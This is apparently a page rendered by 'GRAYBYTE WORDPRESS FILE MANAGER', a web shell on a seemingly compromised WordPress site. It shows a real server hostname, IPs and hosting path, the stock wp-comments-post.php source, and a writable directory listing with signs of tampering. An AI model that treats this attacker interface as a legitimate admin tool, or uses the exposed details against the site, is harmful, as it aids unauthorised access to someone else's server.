$53 GRAYBYTE WORDPRESS FILE MANAGER $27

SERVER : in-mum-web1330.main-hosting.eu #1 SMP Mon Feb 10 22:45:17 UTC 2025
SERVER IP : 88.222.222.114 | ADMIN IP 216.73.216.85
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/u550391411/domains/skyweb.solutions/public_html/

HOME
Current File : /home/u550391411/domains/skyweb.solutions/public_html//wp-comments-post.php
<?php
/**
 * Handles Comment Post to WordPress and prevents duplicate comment posting.
 *
 * @package WordPress
 */

if ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) {
	$protocol = $_SERVER['SERVER_PROTOCOL'];
	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) {
		$protocol = 'HTTP/1.0';
	}

	header( 'Allow: POST' );
	header( "$protocol 405 Method Not Allowed" );
	header( 'Content-Type: text/plain' );
	exit;
}

/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';

nocache_headers();

$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
if ( is_wp_error( $comment ) ) {
	$data = (int) $comment->get_error_data();
	if ( ! empty( $data ) ) {
		wp_die(
			'<p>' . $comment->get_error_message() . '</p>',
			__( 'Comment Submission Failure' ),
			array(
				'response'  => $data,
				'back_link' => true,
			)
		);
	} else {
		exit;
	}
}

$user            = wp_get_current_user();
$cookies_consent = ( isset( $_POST['wp-comment-cookies-consent'] ) );

/**
 * Fires after comment cookies are set.
 *
 * @since 3.4.0
 * @since 4.9.6 The `$cookies_consent` parameter was added.
 *
 * @param WP_Comment $comment         Comment object.
 * @param WP_User    $user            Comment author's user object. The user may not exist.
 * @param bool       $cookies_consent Comment author's consent to store cookies.
 */
do_action( 'set_comment_cookies', $comment, $user, $cookies_consent );

$location = empty( $_POST['redirect_to'] ) ? get_comment_link( $comment ) : $_POST['redirect_to'] . '#comment-' . $comment->comment_ID;

// If user didn't consent to cookies, add specific query arguments to display the awaiting moderation message.
if ( ! $cookies_consent && 'unapproved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_author_email ) ) {
	$location = add_query_arg(
		array(
			'unapproved'      => $comment->comment_ID,
			'moderation-hash' => wp_hash( $comment->comment_date_gmt ),
		),
		$location
	);
}

/**
 * Filters the location URI to send the commenter after posting.
 *
 * @since 2.0.5
 *
 * @param string     $location The 'redirect_to' URI sent via $_POST.
 * @param WP_Comment $comment  Comment object.
 */
$location = apply_filters( 'comment_post_redirect', $location, $comment );

wp_safe_redirect( $location );
exit;

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
4 Jan 2024 2.59 PM
u550391411 / o200927086
0755
.git
--
10 Feb 2024 9.29 AM
u550391411 / o200927086
0755
.private
--
22 Feb 2024 9.05 AM
u550391411 / o200927086
0755
.tmb
--
28 Feb 2026 2.37 AM
u550391411 / o200927086
0777
wp-admin
--
28 Feb 2026 2.45 AM
u550391411 / o200927086
0755
wp-content
--
28 Feb 2026 2.38 AM
u550391411 / o200927086
0755
wp-includes
--
28 Feb 2026 2.45 AM
u550391411 / o200927086
0755
.editorconfig
0.349 KB
4 Jan 2024 2.59 PM
u550391411 / o200927086
0644
.gitattributes
3.939 KB
4 Jan 2024 2.59 PM
u550391411 / o200927086
0644
.gitignore
1.495 KB
4 Jan 2024 2.59 PM
u550391411 / o200927086
0644
.htaccess
0.518 KB
28 Feb 2026 1.14 AM
u550391411 / o200927086
0644
.htaccess_original
0.897 KB
12 Feb 2024 7.17 PM
u550391411 / o200927086
0644
comment.php
0 KB
1 Mar 2026 6.49 PM
u550391411 / o200927086
0644
composer.json
4.16 KB
24 Jan 2024 4.30 PM
u550391411 / o200927086
0644
composer.lock
304.328 KB
10 Feb 2024 9.29 AM
u550391411 / o200927086
0644
content.php
0 KB
1 Mar 2026 6.49 PM
u550391411 / o200927086
0644
error_log
15.295 KB
17 Oct 2024 6.50 PM
u550391411 / o200927086
0644
google12f08e4ae2fe7b3e.html
0.052 KB
28 Feb 2026 2.45 AM
u550391411 / o200927086
0644
google59c8bb44196919b8.html
0.052 KB
28 Feb 2026 2.45 AM
u550391411 / o200927086
0644
google6fd92a0d8249dfa8.html
0.052 KB
28 Feb 2026 2.45 AM
u550391411 / o200927086
0644
index.php
7.279 KB
1 Apr 2021 9.21 AM
u550391411 / o200927086
0644
license.txt
19.448 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
readme.html
7.235 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
robots.txt
0.068 KB
3 Mar 2026 5.40 AM
u550391411 / o200927086
0644
wp-activate.php
7.214 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-blog-header.php
0.343 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-comments-post.php
2.269 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-config-sample.php
2.962 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-config.php
3.309 KB
28 Feb 2026 1.14 AM
u550391411 / o200927086
0644
wp-cron.php
5.506 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-links-opml.php
2.443 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-load.php
3.845 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-login.php
50.037 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-mail.php
8.325 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-settings.php
28.1 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-signup.php
33.579 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
wp-trackback.php
4.771 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644
xmlrpc.php
3.17 KB
31 Oct 2024 1.21 PM
u550391411 / o200927086
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF